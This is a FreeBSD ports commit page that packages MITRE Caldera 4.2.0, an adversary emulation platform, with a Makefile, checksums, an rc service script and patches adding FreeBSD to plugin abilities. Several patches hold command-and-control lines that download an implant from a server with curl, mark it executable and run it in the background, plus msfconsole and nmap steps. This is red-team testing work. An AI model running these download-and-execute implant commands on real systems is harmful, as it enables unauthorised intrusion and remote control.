Skip to content

Commit

Permalink
security/caldera4: Repocopy from security/caldera
Browse files Browse the repository at this point in the history
- Update pkg-message.in
- Update haproxy dependency to 2.4.x
- Fix permission issues with some caldera directories
- Bump PORTREVISION
  • Loading branch information
alonsobsd committed Feb 17, 2024
1 parent 6dbc3df commit 68d46af
Show file tree
Hide file tree
Showing 114 changed files with 3,168 additions and 0 deletions.
1 change: 1 addition & 0 deletions security/Makefile
Expand Up @@ -67,6 +67,7 @@
SUBDIR += ca_root_nss
SUBDIR += caesarcipher
SUBDIR += caldera
SUBDIR += caldera4
SUBDIR += caldera-ot
SUBDIR += calife
SUBDIR += cardpeek
Expand Down
105 changes: 105 additions & 0 deletions security/caldera4/Makefile
@@ -0,0 +1,105 @@
PORTNAME= caldera
DISTVERSION= 4.2.0
PKGNAMESUFFIX= 4
PORTREVISION= 4
CATEGORIES= security python

MAINTAINER= acm@FreeBSD.org
COMMENT= Automated Adversary Emulation Platform
WWW= https://github.com/mitre/caldera

CONFLICTS= caldera

LICENSE= APACHE20
LICENSE_FILE= ${WRKSRC}/LICENSE

RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}aiohttp>0:www/py-aiohttp@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}aiohttp-jinja2>0:www/py-aiohttp-jinja2@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}aiohttp-session>0:www/py-aiohttp-session@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}aiohttp-security>0:security/py-aiohttp-security@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}aiohttp-apispec>0:devel/py-aiohttp-apispec@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}Jinja2>0:devel/py-Jinja2@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}yaml>0:devel/py-yaml@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}websockets>0:devel/py-websockets@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}sphinx>0:textproc/py-sphinx@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}docutils>0:textproc/py-docutils@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}sphinx_rtd_theme>0:textproc/py-sphinx_rtd_theme@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}myst-parser>0:textproc/py-myst-parser@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}marshmallow>0:devel/py-marshmallow@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}dirhash>0:security/py-dirhash@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}docker>0:sysutils/py-docker@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}donut-shellcode>0:devel/py-donut-shellcode@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}marshmallow-enum>0:devel/py-marshmallow-enum@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}ldap3>0:net/py-ldap3@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}lxml>0:devel/py-lxml@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}reportlab>0:print/py-reportlab@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}svglib>0:converters/py-svglib@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}markdown>0:textproc/py-markdown@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}dnspython>0:dns/py-dnspython@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}asyncssh>0:security/py-asyncssh@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}aioftp>0:ftp/py-aioftp@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}pyautogui>0:x11/py-pyautogui@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}selenium>0:www/py-selenium@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}webdriver_manager>0:www/py-webdriver_manager@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}beautifulsoup>0:www/py-beautifulsoup@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}networkx>0:math/py-networkx@${PY_FLAVOR} \
${PYTHON_PKGNAMEPREFIX}numpy>0:math/py-numpy@${PY_FLAVOR} \
upx>0:archivers/upx \
base64>0:converters/base64 \
git>0:devel/git \
bash>0:shells/bash

USE_GITHUB= yes
GH_ACCOUNT= mitre
GH_PROJECT= ${PORTNAME}
GH_TUPLE= mitre:access:0e67776:access/plugins/access \
mitre:atomic:9e2c958:atomic/plugins/atomic \
mitre:builder:f2ce67c:builder/plugins/builder \
mitre:compass:fb88e02:compass/plugins/compass \
mitre:debrief:e4d4f9e:debrief/plugins/debrief \
mitre:emu:02a0f3e:emu/plugins/emu \
mitre:fieldmanual:c286e77:fieldmanual/plugins/fieldmanual \
mitre:gameboard:3d98c32:gameboard/plugins/gameboard \
mitre:human:4368dea:human/plugins/human \
mitre:manx:e7205ea:manx/plugins/manx \
mitre:response:889213a:response/plugins/response \
mitre:sandcat:7c326bd:sandcat/plugins/sandcat \
mitre:ssl:ac5bfcb:ssl/plugins/ssl \
mitre:stockpile:960f9ad:stockpile/plugins/stockpile \
mitre:training:b058b67:training/plugins/training

USES= dos2unix go:run python
USE_PYTHON= cryptography

NO_ARCH= yes
NO_BUILD= yes

DOS2UNIX_REGEX= .*\.([yml])
CALDERA_USER= caldera
CALDERA_GROUP= caldera
USERS= ${CALDERA_USER}
GROUPS= ${CALDERA_GROUP}

USE_RC_SUBR= ${PORTNAME:S/-/_/}
SUB_FILES= pkg-message
SUB_LIST= PYTHON_CMD=${PYTHON_CMD} \
WWWDIR=${WWWDIR}

OPTIONS_DEFINE= HAPROXY
OPTIONS_DEFAULT=HAPROXY
HAPROXY_DESC= Support for HTTPS
HAPROXY_RUN_DEPENDS=haproxy24>0:net/haproxy24

post-extract:
${RM} -R ${WRKSRC}/.github
cd ${WRKSRC} && ${RM} .coveragerc .dockerignore .eslintrc.js .flake8 \
.git* .pre* .stylelintrc.json Dockerfile

post-patch:
cd ${WRKSRC} && \
${FIND} . -type f -name "*.orig" -exec ${RM} "{}" \;

do-install:
@cd ${WRKSRC} && ${COPYTREE_SHARE} . ${STAGEDIR}/${WWWDIR}

.include <bsd.port.mk>
33 changes: 33 additions & 0 deletions security/caldera4/distinfo
@@ -0,0 +1,33 @@
TIMESTAMP = 1687320760
SHA256 (mitre-caldera-4.2.0_GH0.tar.gz) = 2c93501ca05fe89cd18a038376c278e50d371881dfe84824a0f98dc3d9023fd9
SIZE (mitre-caldera-4.2.0_GH0.tar.gz) = 3777586
SHA256 (mitre-access-0e67776_GH0.tar.gz) = dc80b9c5cb92f75fa6d18f618f64a4d3c5ddd1b08b020d86feb70fbaa0f4c43d
SIZE (mitre-access-0e67776_GH0.tar.gz) = 8494
SHA256 (mitre-atomic-9e2c958_GH0.tar.gz) = 0fbd0c3bb2c3c621afcb8f271b76df0f6ac2bacd72a7f8d9771c94b9a3f5d085
SIZE (mitre-atomic-9e2c958_GH0.tar.gz) = 15142
SHA256 (mitre-builder-f2ce67c_GH0.tar.gz) = da9d987a2a656bb9eb5d1c0d36115c8fb8fe740503fa1a43a1bfcce1018f461b
SIZE (mitre-builder-f2ce67c_GH0.tar.gz) = 7944
SHA256 (mitre-compass-fb88e02_GH0.tar.gz) = 6187446551f4041ac0a0c33689b4a62a39a02b285d988bd6f17647d89d98ce16
SIZE (mitre-compass-fb88e02_GH0.tar.gz) = 5907
SHA256 (mitre-debrief-e4d4f9e_GH0.tar.gz) = 721b262744118b91b812ec0e098fa0c75f845a7814d8fa58fa52a2ace04432ee
SIZE (mitre-debrief-e4d4f9e_GH0.tar.gz) = 998929
SHA256 (mitre-emu-02a0f3e_GH0.tar.gz) = 9dd6b46fe93ba12467612e4bf4a45df5513dad1709a72addc3898c430b8ec1ad
SIZE (mitre-emu-02a0f3e_GH0.tar.gz) = 17467
SHA256 (mitre-fieldmanual-c286e77_GH0.tar.gz) = 6f086d0d4f519d0dcf49fbded87ee8095622c3028461d745d2e7eea422d68d57
SIZE (mitre-fieldmanual-c286e77_GH0.tar.gz) = 7828491
SHA256 (mitre-gameboard-3d98c32_GH0.tar.gz) = 8415bbbc64fe78836afea2e364fe655cc364a5d70dcf3fbcb748617fc9b9ad0a
SIZE (mitre-gameboard-3d98c32_GH0.tar.gz) = 14753
SHA256 (mitre-human-4368dea_GH0.tar.gz) = 4710f3d6c7b3f728274187c36cda53232b3609d8177ccad6b1968ae99d83724a
SIZE (mitre-human-4368dea_GH0.tar.gz) = 22846
SHA256 (mitre-manx-e7205ea_GH0.tar.gz) = 5b39a00ff8bbe7b20d4cfcab6161edbbafd94fa9bd62af4741975f7759f7a470
SIZE (mitre-manx-e7205ea_GH0.tar.gz) = 7352820
SHA256 (mitre-response-889213a_GH0.tar.gz) = 4067efd0c4bddeed799255838a80316d96ba0c4cac84625d7d0257e44c00c4ee
SIZE (mitre-response-889213a_GH0.tar.gz) = 24463
SHA256 (mitre-sandcat-7c326bd_GH0.tar.gz) = 60049cf759e8b31b29e84832a112c87be8101e303d088e0f2b9da4647f79855f
SIZE (mitre-sandcat-7c326bd_GH0.tar.gz) = 7816391
SHA256 (mitre-ssl-ac5bfcb_GH0.tar.gz) = 01067db5fe9a32d07d13bbea4ffb6f3bd2907a57f2d50a7c7e9c5f2bdc823a12
SIZE (mitre-ssl-ac5bfcb_GH0.tar.gz) = 6395
SHA256 (mitre-stockpile-960f9ad_GH0.tar.gz) = 516d28ae26d66049e2273f60bbae0254b071152b613f259a7ff596ad2d92461f
SIZE (mitre-stockpile-960f9ad_GH0.tar.gz) = 4781396
SHA256 (mitre-training-b058b67_GH0.tar.gz) = 44c5ee5f682918f1f8ace4ff4ea3b8e16d24795ff8b8fb5896d68c585d33b8c0
SIZE (mitre-training-b058b67_GH0.tar.gz) = 491615
85 changes: 85 additions & 0 deletions security/caldera4/files/caldera.in
@@ -0,0 +1,85 @@
#!/bin/sh

# PROVIDE: caldera
# REQUIRE: NETWORKING
# KEYWORD: shutdown
#
# Configuration settings for caldera in /etc/rc.conf:
#
# caldera_enable: run caldera as service (default=NO)
# caldera_flags: additional flags for caldera server
#

. /etc/rc.subr

name=caldera
rcvar=caldera_enable

load_rc_config ${name}

export PATH="${PATH}:/usr/local/bin:/usr/local/sbin"

: ${caldera_enable:=NO}
: ${caldera_flags="--insecure"}

caldera_env="GOCACHE=/tmp/caldera/.cache GOMODCACHE=/tmp/caldera/.vendor"
caldera_user="caldera"
caldera_wwwdir="%%WWWDIR%%"
caldera_logfile="/var/log/caldera.log"

pidfile="/var/run/${name}.pid"
python_command="%%PYTHON_CMD%%"
python_script="${caldera_wwwdir}/server.py"
start_cmd=${name}_start
status_cmd=${name}_status
stop_cmd=${name}_stop
restart_cmd=${name}_restart
extra_commands="status"

caldera_start()
{
if [ ! -f ${pidfile} ]
then
cd ${caldera_wwwdir} && \
daemon -u ${caldera_user} -p ${pidfile} -t ${name} -o ${caldera_logfile} \
${python_command} ${python_script} \
${caldera_flags}

echo "Starting ${name}"
else
echo "${name} is running as pid" `cat ${pidfile}`
fi
}

caldera_status()
{
# If running, show pid
if [ -f ${pidfile} ]
then
echo "${name} is running as pid" `cat ${pidfile}`
else
echo "${name} is not running"
fi
}

caldera_stop()
{
if [ -f ${pidfile} ]
then
kill `cat ${pidfile}`
rm ${pidfile}
echo "Stopping ${name}"
else
echo "${name} not running? (check ${pidfile})."
fi
}

caldera_restart()
{
echo "Performing restart ${name}"
caldera_stop
sleep 3
caldera_start
}

run_rc_command "$1"
@@ -0,0 +1,11 @@
--- plugins/access/data/abilities/build-capabilities/bed8f28e-c0ed-463e-9e31-d5607e5473df.yml.orig 2021-10-01 14:07:40 UTC
+++ plugins/access/data/abilities/build-capabilities/bed8f28e-c0ed-463e-9e31-d5607e5473df.yml
@@ -7,7 +7,7 @@
name: Build or acquire exploits
attack_id: T1349
platforms:
- darwin,linux:
+ darwin,freebsd,linux:
sh:
command: |
msfconsole -r msf_extract.rc #{app.contact.http} #{app.api_key.red}
@@ -0,0 +1,11 @@
--- plugins/access/data/abilities/technical-information-gathering/567eaaba-94cc-4a27-83f8-768e5638f4e1.yml.orig 2021-10-01 14:07:40 UTC
+++ plugins/access/data/abilities/technical-information-gathering/567eaaba-94cc-4a27-83f8-768e5638f4e1.yml
@@ -7,7 +7,7 @@
name: Conduct active scanning
attack_id: T1254
platforms:
- darwin,linux:
+ darwin,freebsd,linux:
sh:
command: |
./scanner.sh #{target.ip}
@@ -0,0 +1,11 @@
--- plugins/access/data/payloads/scanner.sh.orig 2021-10-01 14:07:40 UTC
+++ plugins/access/data/payloads/scanner.sh
@@ -1,5 +1,5 @@
-#!/bin/bash
+#!/bin/sh

echo '[+] Starting basic NMAP scan'
nmap -Pn $1
-echo '[+] Complete with module'
\ No newline at end of file
+echo '[+] Complete with module'
20 changes: 20 additions & 0 deletions security/caldera4/files/patch-plugins_atomic_app_atomic__svc.py
@@ -0,0 +1,20 @@
--- plugins/atomic/app/atomic_svc.py.orig 2022-08-11 15:59:49 UTC
+++ plugins/atomic/app/atomic_svc.py
@@ -13,7 +13,7 @@ from app.utility.base_world import BaseWorld
from app.utility.base_service import BaseService
from app.objects.c_agent import Agent

-PLATFORMS = dict(windows='windows', macos='darwin', linux='linux')
+PLATFORMS = dict(windows='windows', macos='darwin', linux='linux', freebsd='freebsd')
EXECUTORS = dict(command_prompt='cmd', sh='sh', powershell='psh', bash='sh')
RE_VARIABLE = re.compile('(#{(.*?)})', re.DOTALL)
PREFIX_HASH_LEN = 6
@@ -45,7 +45,7 @@ class AtomicService(BaseService):
the `repo_url` parameter (eg. if you want to use a fork).
"""
if not repo_url:
- repo_url = 'https://github.com/redcanaryco/atomic-red-team.git'
+ repo_url = 'https://github.com/alonsobsd/atomic-red-team.git'

if not os.path.exists(self.repo_dir) or not os.listdir(self.repo_dir):
self.log.debug('cloning repo %s' % repo_url)
11 changes: 11 additions & 0 deletions security/caldera4/files/patch-plugins_emu_app_emu__svc.py
@@ -0,0 +1,11 @@
--- plugins/emu/app/emu_svc.py.orig 2022-06-12 20:12:01 UTC
+++ plugins/emu/app/emu_svc.py
@@ -12,7 +12,7 @@
class EmuService(BaseService):
- _dynamicically_compiled_payloads = {'sandcat.go-linux', 'sandcat.go-darwin', 'sandcat.go-windows'}
+ _dynamicically_compiled_payloads = {'sandcat.go-linux', 'sandcat.go-darwin', 'sandcat.go-windows', 'sandcat.go-freebsd'}
_emu_config_path = "conf/default.yml"

def __init__(self):
@@ -0,0 +1,11 @@
--- plugins/gameboard/app/gameboard_api.py.orig 2021-12-22 15:33:52 UTC
+++ plugins/gameboard/app/gameboard_api.py
@@ -244,7 +244,7 @@ class GameboardApi(BaseService):
reference_ability = (await self.data_svc.locate('abilities', match=dict(ability_id='bf565e6a-0037-4aa4-852f-1afa222c76db')))[0] #TODO: replace
ability_id = str(uuid.uuid4())
executors = []
- for pl in ['windows', 'darwin', 'linux']:
+ for pl in ['windows', 'darwin', 'linux', 'freebsd']:
reference_executor = reference_ability.find_executor('elasticsearch', pl)
if not reference_executor:
continue
40 changes: 40 additions & 0 deletions security/caldera4/files/patch-plugins_human_templates_human.html
@@ -0,0 +1,40 @@
--- plugins/human/templates/human.html.orig 2022-09-06 17:33:12 UTC
+++ plugins/human/templates/human.html
@@ -60,6 +60,7 @@
<select id="base-platform">
<option disabled="disabled" selected="">Select target OS</option>
<option value="darwin">MacOS</option>
+ <option value="freebsd">FreeBSD</option>
<option value="linux">Linux</option>
<option value="windows-psh">Windows (PowerShell)</option>
</select>
@@ -257,6 +258,11 @@
' && virtualenv -p python3 \''+humanName+'\' && \''+humanName+'/bin/pip\' install -r \''+humanName+'/requirements.txt\' && \''+humanName+'/bin/python\' \''+humanName+'/human.py\' --clustersize '+taskCount+' ' +
'--taskinterval '+taskInterval+' --taskgroupinterval '+taskClusterInterval+' --extra '+extra;
break;
+ case "freebsd":
+ baseHuman = 'curl -sk -o \''+humanName+'.tar.gz\' -X POST -H \'file:'+humanName+'.tar.gz\' '+http+'/file/download 2>&1 && mkdir \''+humanName+'\' && tar -C \''+humanName+'\' -zxvf \''+humanName+'.tar.gz\' ' +
+ ' && virtualenv -p python3.9 \''+humanName+'\' && \''+humanName+'/bin/pip\' install -r \''+humanName+'/requirements.txt\' && \''+humanName+'/bin/python\' \''+humanName+'/human.py\' --clustersize '+taskCount+' ' +
+ '--taskinterval '+taskInterval+' --taskgroupinterval '+taskClusterInterval+' --extra '+extra;
+ break;
case "linux":
baseHuman = 'curl -sk -o \''+humanName+'.tar.gz\' -X POST -H \'file:'+humanName+'.tar.gz\' '+http+'/file/download 2>&1 && mkdir \''+humanName+'\' && tar -C \''+humanName+'\' -zxvf \''+humanName+'.tar.gz\' ' +
' && virtualenv -p python3 \''+humanName+'\' && \''+humanName+'/bin/pip\' install -r \''+humanName+'/requirements.txt\' && \''+humanName+'/bin/python\' \''+humanName+'/human.py\' --clustersize '+taskCount+' ' +
@@ -293,6 +299,10 @@
$.each(extra, function(i, command) {
switch (platform) {
case "darwin":
+ command = command.replace(/\\/g, '\\\\');
+ command = command.replace(/"/g, '\\\"');
+ break;
+ case "freebsd":
command = command.replace(/\\/g, '\\\\');
command = command.replace(/"/g, '\\\"');
break;
@@ -317,4 +327,4 @@
return provided_value || default_value;
}

-</script>
\ No newline at end of file
+</script>
@@ -0,0 +1,33 @@
--- plugins/manx/data/abilities/command-and-control/356d1722-7784-40c4-822b-0cf864b0b36d.yml.orig 2022-08-08 23:34:48 UTC
+++ plugins/manx/data/abilities/command-and-control/356d1722-7784-40c4-822b-0cf864b0b36d.yml
@@ -57,6 +57,30 @@
contact="tcp";
agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:linux" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
nohup ./$agent -http $server -socket $socket -contact $contact &
+ freebsd:
+ sh:
+ command: |
+ server="#{app.contact.http}";
+ socket="#{app.contact.tcp}";
+ contact="tcp";
+ curl -s -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download > #{agents.implant_name};
+ chmod +x #{agents.implant_name};
+ ./#{agents.implant_name} -http $server -socket $socket -contact $contact -v
+ variations:
+ - description: Run against the UDP contact
+ command: |
+ server="#{app.contact.http}";
+ socket="#{app.contact.udp}";
+ contact="udp";
+ agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
+ nohup ./$agent -http $server -socket $socket -contact $contact &
+ - description: Download with a random name and start as a background process
+ command: |
+ server="#{app.contact.http}";
+ socket="#{app.contact.tcp}";
+ contact="tcp";
+ agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
+ nohup ./$agent -http $server -socket $socket -contact $contact &
windows:
psh:
command: |

0 comments on commit 68d46af

Please sign in to comment.